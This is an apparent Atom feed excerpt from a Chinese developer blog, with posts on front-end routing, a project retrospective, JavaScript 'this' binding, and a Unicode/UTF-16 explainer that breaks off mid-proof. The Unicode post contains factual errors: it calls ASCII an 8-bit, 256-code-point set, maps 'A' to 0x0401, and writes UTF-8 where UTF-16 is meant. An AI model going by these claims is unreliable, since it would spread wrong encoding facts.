<p>所以,我们并不能抛弃后端路由部分。这也意味着,我们需要和后端确认各自的分工,哪些url归前端解析,哪些归后台解析。</p>
</content>
<summary type="html">
<h2 id="什么是前端路由"><a href="#什么是前端路由" class="headerlink" title="什么是前端路由"></a>什么是前端路由</h2><p>路由,引导、指路之意。</p>
<p>譬如我们熟知的路由器,蹦跶在网络层的数据包转发设备,在网络中也是扮演着指路明灯的角色,肩负着将数据包正确导向目的地址的重任。</p>
<p>前端路由也借用了这个词,但是承担的工作全然不同,它是服务于客户端浏览器的指路人。</p>
<p>所谓的前端路由,拥有这样一种能力:客户端浏览器可以不依赖服务端,根据不同的URL渲染不同的视图页面。</p>
</summary>
<category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
<category term="前端路由" scheme="tomasran.space/tags/%E5%89%8D%E7%AB%AF%E8%B7%AF%E7%94%B1/"/>
</entry>
<entry>
<title>项目总结:Okay教育智慧平台v1.7.0.1</title>
<link href="tomasran.space/archives/byiEkaZXckBFPR1ZhtuusA/"/>
<id>tomasran.space/archives/byiEkaZXckBFPR1ZhtuusA/</id>
<published>2016-11-22T02:27:17.000Z</published>
<updated>2016-11-22T02:40:34.000Z</updated>
<content type="html"><h3 id="参与内容"><a href="#参与内容" class="headerlink" title="参与内容"></a>参与内容</h3><ul>
<li>资源列表公共组件</li>
<li>教学资源平台列表菜单的重构</li>
<li>教学资源页面逻辑的重构</li>
</ul>
<a id="more"></a>
<h3 id="所历所思"><a href="#所历所思" class="headerlink" title="所历所思"></a>所历所思</h3><ul>
<li><p><strong>代码规范相关</strong><br>一个团队的项目是否应该统一编码风格?在曾经的一家强烈追求geek风格的公司小憩了一段岁月,该司要求一个项目的编码风格应当一致。依着作为一个程序员饱受沧桑的记忆,当时使用的应该是 <a href="http://pre-commit.com/" target="_blank" rel="external">pre-commit</a> 工具,然而这个工具却不是对代码进行智能格式化,只是定义一些编程风格规则,仍然是基于es-lint或者js-lint之类的代码风格检测工具,倘若不符合这些规则,代码commit时会提示失败,并给出代码风格不符合规则的具体日志,然后人工去修改代码。当时刚入江湖,初出茅庐,还并没有形成自己重度依赖的编程风格,一切听从组织安排。而实际上,在实践的过程中我也很喜欢这种方式,因为它尽可能地提醒了我怎样写代码才够合理。<br><br>那么以下我所能体验到的代码风格统一的优点:<br>① 整个项目一种风格,不管接触哪一部分代码,都有一个熟悉的切入点。李代桃僵之时,减轻了不少阅读障碍。这样,在项目紧张的时候,临时加入的程序员就无需花更多心思去解读每个人的编程风格,对于boss而言,效率提升自然是最佳的。<br>② 编码风格的统一,对于代码bug的减少是有裨益的,一般指定的风格规则,都会是一些编程的最佳实践,肯定不会剑走偏锋。<br>③ 利于团队和谐,这一点似乎是意料之外的事,然而细思之下,却也是有些道理。作为两只有洁癖而风格各异的程序猿,在修改彼此代码的时候很容易心生怨念,自以为是,各执一词。然而风格的事情,谁也定不准个谁是谁非,而事实上很多风格确实也并分不出高下。最难解决的争议便是没有绝对非对错的争议。这时候,一统天下无疑是最好的方式,始皇帝一统天下,不服气的,斩!世界和谐。<br><br>目前的Okay教育智慧平台项目,并没有采用统一的编码风格,因此不可避免的,呈现出一种百花齐放百家争鸣的风格景象。群雄逐鹿难免造成混乱。各自为政,在自己的管辖区域如鱼得水,而涉足别人的领地时往往不知所措,耗时良久。感觉从工程效率的角度出发,统一风格是一种很好的方式。有人会说了,这是赤裸裸的压迫!没有编码自由度!每一个新人都要学习遵守代码风格,很耗时!没错,但是个人认为这比一个项目变成万花筒要更容易被接受一点。</p>
</li>
<li><p><strong>产品设计相关</strong><br>此次参与的教学资源页面重构过程中,深刻体会到了从产品设计的合理性角度出发对于开发者造成的影响。在该页面中,包含的基本模块有菜单模块,关键字搜索模块,过滤条件选择模块,搜索结果展示模块等,然而在产品给出的设计中,一些不相关的内容被划分到同一概念层级中,导致程序的复杂度的上升。而同时,也苦于自己沟通不利,没有真正能够从产品的角度出发给出一些合理化的建议,也就是想要表达的思想不能叙述明确,至少不能紧扣一些产品设计的原则或者理论去应对,只好无奈地接受了这个事实。这也让我想到一个只知埋头编码的码农未来一定是不受待见的,毕竟技术为产品服务。我们更加关注的肯定是技术的应用价值,它是一项工具,便利我们去处理一些实际问题。我们不能深陷此坑,要跳出来,认识本质目的。</p>
</li>
</ul>
</content>
<summary type="html">
<h3 id="参与内容"><a href="#参与内容" class="headerlink" title="参与内容"></a>参与内容</h3><ul>
<li>资源列表公共组件</li>
<li>教学资源平台列表菜单的重构</li>
<li>教学资源页面逻辑的重构</li>
</ul>
</summary>
<category term="Conclusion" scheme="tomasran.space/category/Conclusion/"/>
</entry>
<entry>
<title>Javascript函数相关</title>
<link href="tomasran.space/archives/QvKCA14vYKd0ejUlJjdz8w/"/>
<id>tomasran.space/archives/QvKCA14vYKd0ejUlJjdz8w/</id>
<published>2016-11-21T07:55:12.000Z</published>
<updated>2017-07-02T02:17:32.000Z</updated>
<content type="html"><h3 id="函数之重,重于泰山"><a href="#函数之重,重于泰山" class="headerlink" title="函数之重,重于泰山"></a>函数之重,重于泰山</h3><p>在Javascript中函数是一等公民。地为之重,可见一斑。那么它应该是有一些过人之处:</p>
<h4 id="函数式编程不可或缺"><a href="#函数式编程不可或缺" class="headerlink" title="函数式编程不可或缺"></a>函数式编程不可或缺</h4><p>Javascript是一门支持函数式编程的语言,当然这不是确立函数至尊地位的关键因素,毕竟支持函数式编程的语言不胜枚举。不过很明显,这种编程思想的核心是函数,举足轻重。</p>
<a id="more"></a>
<h4 id="面向对象编程的依赖"><a href="#面向对象编程的依赖" class="headerlink" title="面向对象编程的依赖"></a>面向对象编程的依赖</h4><p>Javascript使用构造函数实现传统面向对象语言类的概念,构造函数与普通函数并没有任何区别,只是在命名上按照面向对象语言的习惯,统一使用大驼峰形式。</p>
<h4 id="函数声明优先级更高"><a href="#函数声明优先级更高" class="headerlink" title="函数声明优先级更高"></a>函数声明优先级更高</h4><p>变量提升时函数声明会覆盖同名的变量,函数声明的优先级高于变量,待遇优厚。比如下面这段代码:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> fn;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fn</span>(<span class="params"></span>) </span>&#123;&#125;;</span><br><span class="line"><span class="keyword">var</span> fn;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="keyword">typeof</span> fn);</span><br></pre></td></tr></table></figure>
<p>输出的是什么?答案是’function’,函数声明优先于变量声明。</p>
<h4 id="语言采用的是函数作用域"><a href="#语言采用的是函数作用域" class="headerlink" title="语言采用的是函数作用域"></a>语言采用的是函数作用域</h4><p>Javascript使用的是函数作用域,至少在ES6出现之前(ES6开始支持块级作用域),作用域的生成以函数为单位。</p>
<h4 id="函数亦可赋值,传参"><a href="#函数亦可赋值,传参" class="headerlink" title="函数亦可赋值,传参"></a>函数亦可赋值,传参</h4><p>函数也可以作为参数传递,可以作为返回值返回。正是它一等公民的身份写照!在Javascript中这几乎是随处可见,例如:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fn</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123; <span class="built_in">console</span>.log(<span class="string">'I\'m the function inside!'</span>) &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>函数在Javascript国土一手遮天,侵入者是不是应该先跟它打个招呼呢?</p>
<h3 id="函数调用"><a href="#函数调用" class="headerlink" title="函数调用"></a>函数调用</h3><p>怎样去执行一个函数,在Javascript中大致有四种方式进函数调用。</p>
<ol>
<li>默认函数调用形式。</li>
<li>对象方法调用形式。</li>
<li>构造器调用形式。</li>
<li>bind,call,apply调用。</li>
</ol>
<p>在此不做详述。</p>
<h3 id="this关键字"><a href="#this关键字" class="headerlink" title="this关键字"></a>this关键字</h3><p>函数中一个非常重要的概念就是this关键字,因为它的多变性,迷惑了一代又一代青年才俊。我们在一个函数中使用this,这个this指向哪里完全取决于函数执行时的调用方式。</p>
<p>非严格模式下,默认调用方式指向全局对象,严格模式下指向undefined;对象方法调用形式指向对象本身;构造器调用形式指向实例化后的对象;bind、call、apply调用指向传递的上下文环境。优先级是:构造函数形式 &gt; bind、call和apply &gt; 方法调用 &gt; 默认调用。例如:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> Fn = <span class="function"><span class="keyword">function</span>(<span class="params">name</span>) </span>&#123; <span class="keyword">this</span>.name = name; &#125;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">Fn = Fn.bind(obj);</span><br><span class="line">Fn(<span class="string">'tomas'</span>);</span><br><span class="line"><span class="built_in">console</span>.log(obj.name); <span class="comment">// ‘tomas’</span></span><br><span class="line"><span class="keyword">var</span> fn = <span class="keyword">new</span> Fn(<span class="string">'tomasran'</span>)</span><br><span class="line"><span class="built_in">console</span>.log(obj.name); <span class="comment">// 'tomas'</span></span><br><span class="line"><span class="built_in">console</span>.log(fn.name); <span class="comment">// 'tomasran'</span></span><br></pre></td></tr></table></figure>
<p>在上面的例子中,使用两种不同方式,执行被绑定了obj对象的函数Fn,第一次成功修改了obj.name值,因为Fn.bind(obj)使Fn执行时候的this指针绑定到了obj上;第二次采用构造函数调用,而结果obj.name的值并没有修改,这说明构造函数执行时内部的this指针并不是绑定到obj。结论不言而喻,在this指针的绑定上,构造函数的优先级大于bind、call、apply此类硬绑定的形式。</p>
<p>无意中说漏了一个词:硬绑定。为此,不得不多增加一点篇幅解释一下。</p>
<h3 id="硬绑定"><a href="#硬绑定" class="headerlink" title="硬绑定"></a>硬绑定</h3><p>有一种常见的现象叫做绑定丢失。这是一个什么概念?举例来说,当我们有如下这段代码:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line"> name: <span class="string">'tomas'</span>,</span><br><span class="line"> fn: <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;<span class="built_in">console</span>.log(<span class="keyword">this</span>.name);&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> foo = obj.fn;</span><br><span class="line">foo(); <span class="comment">// 输出 'undefined'</span></span><br></pre></td></tr></table></figure>
<p>如果我们直接调用obj.fn(),显然这是方法调用模式,this指向obj对象,输出为 ‘tomas’;但是现在我们并没有这样做,而是先将obj.fn赋给了一个变量foo,然后执行<strong>foo()</strong>,之后,便惊奇地发现输出值并非我们所期望的。这是因为此时foo直接指向了obj.fn这个函数的内存地址,此时的调用形式是默认调用,这就是所谓的绑定丢失。如何解决?答案就是采用硬绑定:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> foo = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123; <span class="keyword">return</span> obj.fn.apply(obj, <span class="built_in">arguments</span>)&#125;;</span><br></pre></td></tr></table></figure>
<p>这样,调用 <strong>foo()</strong> 就会执行绑定了obj对象的fn函数。ES5提供的bind方法就是为此需求而诞生的。</p>
<h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>关于函数,稍微絮叨了一番,累了,歇会儿。</p>
</content>
<summary type="html">
<h3 id="函数之重,重于泰山"><a href="#函数之重,重于泰山" class="headerlink" title="函数之重,重于泰山"></a>函数之重,重于泰山</h3><p>在Javascript中函数是一等公民。地为之重,可见一斑。那么它应该是有一些过人之处:</p>
<h4 id="函数式编程不可或缺"><a href="#函数式编程不可或缺" class="headerlink" title="函数式编程不可或缺"></a>函数式编程不可或缺</h4><p>Javascript是一门支持函数式编程的语言,当然这不是确立函数至尊地位的关键因素,毕竟支持函数式编程的语言不胜枚举。不过很明显,这种编程思想的核心是函数,举足轻重。</p>
</summary>
<category term="Javascript" scheme="tomasran.space/category/Javascript/"/>
<category term="硬绑定" scheme="tomasran.space/tags/%E7%A1%AC%E7%BB%91%E5%AE%9A/"/>
<category term="绑定丢失" scheme="tomasran.space/tags/%E7%BB%91%E5%AE%9A%E4%B8%A2%E5%A4%B1/"/>
<category term="this指针" scheme="tomasran.space/tags/this%E6%8C%87%E9%92%88/"/>
</entry>
<entry>
<title>今日Unicode字符集及其编码方式</title>
<link href="tomasran.space/archives/F4qs05oXDOsn0hPDjHJscg/"/>
<id>tomasran.space/archives/F4qs05oXDOsn0hPDjHJscg/</id>
<published>2016-07-31T05:04:39.000Z</published>
<updated>2016-07-31T05:38:07.000Z</updated>
<content type="html"><h2 id="万事俱备,再唤东风"><a href="#万事俱备,再唤东风" class="headerlink" title="万事俱备,再唤东风"></a>万事俱备,再唤东风</h2><p>之前有讨论过关于字符编码的问题,如果对此毫无了解,可以去看看 <a href="http://tomasran.space/archives/1lYfLLOTOzer67ZuqHJRlg/">关于字符集、编码字符集和字符编码</a>,这里将不再强调一些基本的概念,而是想分析一下具体的字符集及其编码方式。我们的目标锁定在Unicode,话不多说,扬帆起航!</p>
<a id="more"></a>
<h2 id="Unicode的设计目标"><a href="#Unicode的设计目标" class="headerlink" title="Unicode的设计目标"></a>Unicode的设计目标</h2><p>Unicode的诞生,基于人们希望能够拥有一个统一字符集以容纳世界上所有字符的念想。</p>
<p>任何改革始于矛盾。在Unicode诞生之前,各个国家为了能够让自己的语言得到支持,大量的区域特定字符集被创造出来,即便是较为通用的ASCII码字符集也只是对拉丁字母的支持度较高,而对于大量的亚洲字符却无可奈何。这给计算机制造商带来的问题就是他们必须实现所有的字符编码方案来让他们的机器可以满足不同使用者的需求,使用多语言的时候还需要在各种编码方案之间进行来回切换着实令人懊恼。</p>
<p>矛盾如此突出,也就很自然地催生出尽快统一字符集的想法。在这样的环境下,Unicode应运而生。</p>
<h2 id="Unicode的字符集编号"><a href="#Unicode的字符集编号" class="headerlink" title="Unicode的字符集编号"></a>Unicode的字符集编号</h2><p>Unicode字符集尽量覆盖了全世界已知的所有字符,并为未知的字符留下扩展空间,以下将做详述。</p>
<h3 id="编号空间-确定字符集的范围"><a href="#编号空间-确定字符集的范围" class="headerlink" title="编号空间 - 确定字符集的范围"></a>编号空间 - 确定字符集的范围</h3><p>Unicode字符集编号使用的数字码空间,从 0x0000 ~ 0x10FFFF,一共1,114,112个码点(就是具有标识意义、可与其建立映射关系的数字码)。书写形式是一个前缀“U+”,后面跟上对应的数字码,例如:U+0058 就是大写拉丁字母X的Unicode编号。</p>
<p>注意:超过4位十六进制数,不能添加数字 “0” 为开头。例如: U+01000 是非法的格式(U+0100 合法)。</p>
<p>具体可以查看 <a href="http://unicode-table.com/en/" target="_blank" rel="external">Unicode Character Table</a>。</p>
<h3 id="平面划分-可扩展的编号空间"><a href="#平面划分-可扩展的编号空间" class="headerlink" title="平面划分 - 可扩展的编号空间"></a>平面划分 - 可扩展的编号空间</h3><p>Unicode将它的编号空间划分成了17个平面。我们观察一下它的编号空间:0x0000 ~ 0x10FFFF,应该很容易得出结论,它就是按照高两位的不同划分了一共 0x00 ~ 0x10(一共17)个平面,每个平面包含 16<sup>4</sup> = 65536 个码点。 </p>
<p>其中 0x0000 ~ 0xFFFF 被称为基本多语种平面(Basic Multilingual Panel),基本多语种平面是几乎所有的现代语言字符以及大量符号的数值编码。基本多语种平面的字符用4位十六进制数就可以表示,而其余的十六个平面字符则需要5~6位十六进制数表示,称之为辅助多语种平面。下图是具体的划分:</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/unicode%E5%B9%B3%E9%9D%A2%E5%88%92%E5%88%86.png" alt="unicode编码平面划分表"></p>
<p>我们现在所看到的Unicode字符集的编号方案已经是设计较为成熟的版本,其实Unicode诞生之初采用的是16-bit 去编号一个字符,因此提供的编码空间是 0x0000 ~ 0xFFFF,一共2<sup>16</sup>(65536)个码点,也就是现在的基本多语种平面,涵盖了最为常用的字符。但是这显然是不够的,字符的数量在日益增长,需要对这个字符集进行扩充并且能够很好的兼容之前的版本,因此便就增加了16个延续在基本多语种平面之后的辅助多语种平面。</p>
<p>那么,为什么需要进行平面划分呢?</p>
<p>图书馆将书籍进行分类,当需要某种类别的书时直接去对应的书架上去找会节省不少时间。将Unicode字符集划分成为不同的平面也类似,Unicode字符集的17个平面对应了17张字符编号页,计算机可以根据字符编号的高两位的不同判断应该去查询哪个编号页,这意味着内存中只需载入这一张需要的编号页就可以,否则每次都要载入全部的字符编号无疑是一种内存浪费。如此的平面划分不仅具有良好的扩展性,也具备充分的兼容性。</p>
<h3 id="通用字符类型"><a href="#通用字符类型" class="headerlink" title="通用字符类型"></a>通用字符类型</h3><p>Unicode的每一个码点都有通用类别属性。主要的类别有:字母,标志,数字,标点,象征,分隔符和其它。这些分类可以再分割。但是并不是每一个字符都只能划分为一种通用类型。例如 U+000A 换行字符既属于控制符又属于分隔符。查看具体的 <a href="http://www.fileformat.info/info/unicode/category/index.htm" target="_blank" rel="external">Unicode通用字符类型</a>。</p>
<h3 id="码点类型"><a href="#码点类型" class="headerlink" title="码点类型"></a>码点类型</h3><p>上面提到Unicode字符集对字符有不同的分类,而Unicode提供的码点,也是如此。</p>
<h4 id="高代理码点和低代理码点"><a href="#高代理码点和低代理码点" class="headerlink" title="高代理码点和低代理码点"></a>高代理码点和低代理码点</h4><p>在基本平面中,U+D800 ~ U+DBFF(1024个码点)这一码值范围被称为高代理码点,U+DC00 ~ U+DFFF(1024个码点)这一码值范围被称为低代理码点。</p>
<p>在UTF-16编码方式(后面再做解释)中高代理码点后面紧接低代理码点便构成了一个代理对,它们代表了不在基本平面之中的1,048,576(1024 × 1024)个码点。</p>
<h4 id="非字符码点"><a href="#非字符码点" class="headerlink" title="非字符码点"></a>非字符码点</h4><p>在Unicode的码点范围中,还有一部分码点是非字符码点,它们不能用来对字符进行编码,它们的范围是:U+FDD0 ~ U+FDEF以及任何以FFFE、FFFF结尾的码值(例如1FFFF,1FFFE,10FFFF…)。这个非字符码值的数量是固定的,一共是66个,并且也不会再增加。</p>
<h4 id="保留码点"><a href="#保留码点" class="headerlink" title="保留码点"></a>保留码点</h4><p>就像很多编程语言中的保留字一样,Unicode码值空间也有一部分是保留码点,这部分码点可以用来映射字符但是目前还未使用。</p>
<h4 id="私有码点"><a href="#私有码点" class="headerlink" title="私有码点"></a>私有码点</h4><p>私有码点类似于关键字,但是Unicode标准并没有对此进行明确说明,因此这些字符交换需要发送方和接收方在它们的解释上达成共识。也就是说在接收方和发送方需要事先约定好这些私有字符而不是在接收到字符时从Unicode标准中去寻找解释,现在一共有三个私有码点区段:</p>
<ul>
<li>U+E000 ~ U+F8FF(6400个码点)</li>
<li>U+F0000 ~ U+FFFFD(65534个码点)</li>
<li>U+100000 ~ U+10FFFD(65534个码点)</li>
</ul>
<p>以上关于Unicode字符集编号做了一个较为详细的介绍,概念性的东西稍微多一点,下面就来一起探究一下Unicode的字符编码方式吧。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/relax-and-take-it-easy-orlando-espinosa.jpg" alt="放轻松"></p>
<h2 id="Unicode的编码方式"><a href="#Unicode的编码方式" class="headerlink" title="Unicode的编码方式"></a>Unicode的编码方式</h2><p>在了解Unicode的编码方式之前,我们先拿ASCII码进行预热。</p>
<p>我们知道,ASCII码字符集使用8个比特位进行编号,一共可以提供 2<sup>8</sup> = 256 个码点。可见编号空间实在是很狭小。因此,ASCII码的编码方式就是简单地查询它的字符编号表,利用字符编号表的一一映射关系进行编解码。例如我们需要编码一个字符 “A”,查ASCII码表可得 “A” 的字符集编号是65,则直接将65的二进制形式 “0100 0001” 输出;解码以8-bit为分隔,进行逆向的查表过程,例如 “0100 0001 0100 0010” 以8-bit为划分可得 “0100 0001” 和 “0100 0010”,查表可得是字符 “A” 和 “B”。这就是单字节编码方案。</p>
<p>那么在Unicode编码中,我们是否也可以采取这种方案?答案自然是否定的。</p>
<p>Unicode庞大的字符集决定了它并不能采取单字节编码的方案。事实上,在Unicode诞生之初,仅有对基本多语种平面BMP(即编号空间为 0x0000 ~ 0xFFFF)的定义。而表示这一编号空间需要 2<sup>16</sup>个码点,对应 16 / 8 = 2 个字节,因此,早期的Unicode采用的是二字节编码方案。</p>
<p>如果Unicode止步于此,没有后续的扩展,似乎Unicode编码也能采用和ASCII码类似的方式,通过简单的查表法来进行编码和解码,只不过这次的分隔单位是16-bit。看上去没什么问题?其实即便如此也存在一些问题,每个字符都要写满两字节的长度就有点浪费了。例如我们只想存储字符 “A”,那么通过查表写入的二进制数据流将会是 “0000 0000 0100 0001”,有没有感觉到一点点冗长?</p>
<p>当然了,真正的原因还是因为Unicode需要进行扩展,我们无法简单通过查表法就可以达到目的,并且,这种以字符集编号来映射二进制流的方式也让字符集编号和其编码方式过于耦合。</p>
<p>Unicode扩展之后增加了16个辅助平面,编号空间从 0x0000 ~ 0x10FFFF,在编号空间范围内的二进制流的长度存在16位、20位、24位不等,这就很尴尬了,现在有一段二进制流数据 “0000 0010 0100 1001 0110 1110 1110 0001 0001”,想通过查表法找到指定的字符?先把这一段二进制数据做个分隔吧,采用多少位进行分隔?我并不知道,于是乎华丽丽地仆街了。</p>
<p>鉴于此,我们需要寻找其它的编码方案来解决这个问题,不能仅仅依靠字符集编号这个一一映射关系,我们可以制定字符集编号与二进制流数据之间的转换规则,通过这个规则计算出字符编码后的值(编码)或者根据编码后的值找到对应字符(解码)。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/06A28164-6C8F-4DE2-87C5-7DEAA193B662.png" alt=""></p>
<p>那么接下来,就让我们接触一下现行Unicode的几种编码方案。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/300001217806130380788056240.gif" alt=""></p>
<h3 id="UTF-32"><a href="#UTF-32" class="headerlink" title="UTF-32"></a>UTF-32</h3><p>UTF-32是固定编码长度的方案。它采用4个字节(这里一个字节视为8位)去映射一个Unicode字符集的码点。4个字节可以建立的映射关系已经远远超过Unicode字符集编号空间提供的码点数量,因此,UTF-32可以简单建立4个字节码和Unicode字符集码点的对应关系。</p>
<p>相信很容易看出来,这和查表法的道理一样。时间复杂度o(1),优点是很快。缺点也很明显,对于处于BMP平面的常用字符,全部采用32bit存储无疑是增加了大量的存储空间,造成浪费。</p>
<h3 id="UTF-16"><a href="#UTF-16" class="headerlink" title="UTF-16"></a>UTF-16</h3><p>UTF-32的编码方式简单粗暴。对于我等使用MacBook,而其硬盘价格已上天的屌丝男士来说,牺牲存储自然是不能忍受的方案。那么我们就来接触一下Unicode编码的第二种实现方式吧:UTF-16。</p>
<p>我们的Unicode码点空间至少采用3个字节才能映射完全,2个字节不够用,4个字节又浪费,何其尴尬。UTF-16在这样的现实情况下,便萌生了揉合的想法:2个字节和4个字节我都采用,但是用它们表示的平面不一样。UTF-16将Unicode码点空间进行了划分,制定了具体的编码规则如下:</p>
<h4 id="U-0000-U-D7FF-和-U-E000-U-FFFF(包含首尾)"><a href="#U-0000-U-D7FF-和-U-E000-U-FFFF(包含首尾)" class="headerlink" title="U+0000 ~ U+D7FF 和 U+E000 ~ U+FFFF(包含首尾)"></a>U+0000 ~ U+D7FF 和 U+E000 ~ U+FFFF(包含首尾)</h4><p>对于这段码点空间,UTF-16采用16位二进制数对其进行编码,这16位二进制数和码点编号在数值上相等。举例来说明,会将 “U+B100” 编码为 “1011000100000000”,编码的值是十六进制0xB100的二进制形式。</p>
<h4 id="U-D800-U-DFFF(包含首尾)"><a href="#U-D800-U-DFFF(包含首尾)" class="headerlink" title="U+D800 ~ U+DFFF(包含首尾)"></a>U+D800 ~ U+DFFF(包含首尾)</h4><p>那么对于BMP平面,被遗忘的那一部分编码空间做什么用呢?</p>
<p>Unicode标准将这段区间保留下来,为UTF-16编码提供高代理码点和低代理码点(这个概念前面有提及),并且处于这一区间的码点不会和具体的字符对应(在Unicode字符编号中 0x0401 对应了字符 “A”,而 0xD800 ~ 0xDFFF 之间的任何编号不会对应任何字符)。</p>
<p>编码方式实际上是建立字符和二进制流的映射关系。</p>
<h4 id="U-10000-U-10FFFF(包含首尾)"><a href="#U-10000-U-10FFFF(包含首尾)" class="headerlink" title="U+10000 ~ U+10FFFF(包含首尾)"></a>U+10000 ~ U+10FFFF(包含首尾)</h4><p>码点空间还剩下哪些呢?自然是其余16个辅助平面。</p>
<h5 id="UTF-16-代理对的计算方式"><a href="#UTF-16-代理对的计算方式" class="headerlink" title="UTF-16 代理对的计算方式"></a>UTF-16 代理对的计算方式</h5><p>这16个辅助平面被两个16-bit的编码单元组成的代理对所表示。先贴出编码的计算方法,然后以一个具体的实例去解读:</p>
<blockquote>
<ol>
<li>用辅助平面的码位减去 0x10000(结果是在 0 ~ 0xFFFFF 之内的20-bit长的值);</li>
<li>将上面的计算结果以10位为分隔划分为两部分(易于计算,每一部分值的范围在 0 ~ 0x3FF 之间);</li>
<li>高位的10比特的值加上 0xD800 得到第一个码元或称作高位代理(high surrogate),值的范围是 0xD800 ~ 0xDBFF;</li>
<li>低位的10比特的值加上 0xDC00 得到第二个码元或称作低位代理(low surrogate),现在值的范围是 0xDC00 ~ 0xDFFF。</li>
<li>组合高低位,构成代理对</li>
</ol>
</blockquote>
<h5 id="来看一个栗子"><a href="#来看一个栗子" class="headerlink" title="来看一个栗子"></a>来看一个栗子</h5><p>看到以上计算方法是否能够豁然开朗呢?至少知道了高代理码点和低代理码点的由来和这样称呼的原因吧。现在就通过一个例子来清晰这个计算过程:</p>
<p>假设现在我们需要将Unicode字符集中的 “U+1CCCC” 进行编码,计算过程:</p>
<p>步骤一:减去0x10000 </p>
<figure class="highlight x86asm"><table><tr><td class="code"><pre><span class="line"><span class="number">0x1CCCC</span> - <span class="number">0x10000</span> = <span class="number">0xCCCC</span></span><br></pre></td></tr></table></figure>
<p>步骤二:划分高低位</p>
<figure class="highlight dns"><table><tr><td class="code"><pre><span class="line"><span class="number">0</span>xCCCC的二进制形式:<span class="number">0000 1100</span> <span class="number">1100 1100</span> <span class="number">1100</span> </span><br><span class="line">高<span class="number">10</span>位:<span class="number">00</span> <span class="number">0011 0011</span> =&gt; <span class="number">0</span>x33</span><br><span class="line">低<span class="number">10</span>位:<span class="number">00</span> <span class="number">1100 1100</span> =&gt; <span class="number">0</span>xCC</span><br></pre></td></tr></table></figure>
<p>步骤三:计算高位</p>
<figure class="highlight x86asm"><table><tr><td class="code"><pre><span class="line"><span class="number">0x33</span> + <span class="number">0xD800</span> = <span class="number">0xD833</span></span><br></pre></td></tr></table></figure>
<p>步骤四:计算低位</p>
<figure class="highlight x86asm"><table><tr><td class="code"><pre><span class="line"><span class="number">0xCC</span> + <span class="number">0xDC00</span> = <span class="number">0xDCCC</span></span><br></pre></td></tr></table></figure>
<p>步骤五:组合</p>
<figure class="highlight dns"><table><tr><td class="code"><pre><span class="line">该字符的UTF-<span class="number">16</span>编码即 <span class="number">0</span>xD833 <span class="number">0</span>xDCCC</span><br><span class="line">转化为二进制:<span class="number">1101 1000</span> <span class="number">0011 0011</span> <span class="number">1101 1100</span> <span class="number">1100 1100</span></span><br></pre></td></tr></table></figure>
<p>这样就完成了字符 “U+1CCCC”的UTF-16编码过程。</p>
<h5 id="寻找理论依据"><a href="#寻找理论依据" class="headerlink" title="寻找理论依据"></a>寻找理论依据</h5><p>被莫名其妙地灌输了一套计算体系,UTF-16这种编码方式的理论依据是什么呢?我们再明确一下,编码方案实际上是建立字符集中的所有字符和二进制流的一一映射关系(需要明确一下一一映射的概念? 一一映射也称作 <a href="https://zh.wikipedia.org/wiki/%E5%8F%8C%E5%B0%84" target="_blank" rel="external">双射</a>)。</p>
<p>那么接下来我们就分析一下UTF-16是否满足了这样的条件。</p>
<p>使用UTF-16编码方案对BMP基本多语种平面的字符进行编码显然是一一映射,它直接将字符编号的值作为编码结果输出,字符编号是唯一的,所以它们肯定是一一映射。而对于 U+D800 ~ U+DFFF 这一区段,它不对应任何的字符,因此不影响关系成立。</p>
<p>对于其余16个辅助平面,是否是一一映射需要考虑两点:</p>
<ol>
<li>两个不同的字符编号是否能计算出相同的编码值?</li>
<li>一个编码值解码是否能得到不同的字符编号?</li>
</ol>
<p>我们希望答案皆非,这样UTF-16编码方案才能成立。而事实上呢?可以开动脑筋想想了。</p>
<p>首先,既然是一一映射,编码字符集和编码值在数量上至少应该是一致的。16个辅助平面总共可以提供 2<sup>16</sup> ×<br> 16 = 2<sup>20</sup> 个码点。而UTF-8采用代理对去编码一个辅助平面的字符,高代理对范围是 0xD800 ~ 0xDBFF (一共1024个),低代理对范围是 0xDC00 ~ 0xDFFF(一共1024个),那么他们的组合一共有 1024 × 1024 = 2<sup>20</sup>种可能。果然如此,他们相等。</p>
<p>然后我们来分析它的计算过程:16个辅助平面的字符编号在 0x10000 ~ 0x100000之间,减去0x10000后的范围在 0x0 ~ 0xFFFFF 之间,这一步过程生成的值和16个辅助平面的字符编号显然是一一映射。</p>
<p>那么,在下面的计算中,我们来验证以上提出的两点:</p>
<p>(1)两个不同的字符编号是否能计算出相同的编码值?</p>
<p>将上一步的计算结果拆分为高低各10位,记作(x<sub>1</sub>,y<sub>1</sub>)。</p>
<p>我们假设存在另一个字符编号经过这一系列计算之后会生成相同的编码值,那么将另一个字符编号记作(x<sub>2</sub>,y<sub>2</sub>)。也就是说(x<sub>1</sub>,y<sub>1</sub>)和(x<sub>2</sub>,y<sub>2</sub>)经过计算之后会得到相同的编码值。我们假设这是成立的。</p>
<p>那么按照UTF-16编码的计算方式,也就是下列等式会成立:</p>
<blockquote>
<p>x<sub>1</sub> + 0xD800 = x<sub>2</sub> + 0xD800</p>
<p>y<sub>1</sub> + 0xDC00 = y<sub>2</sub> + 0xDC00</p>
</blockquote>
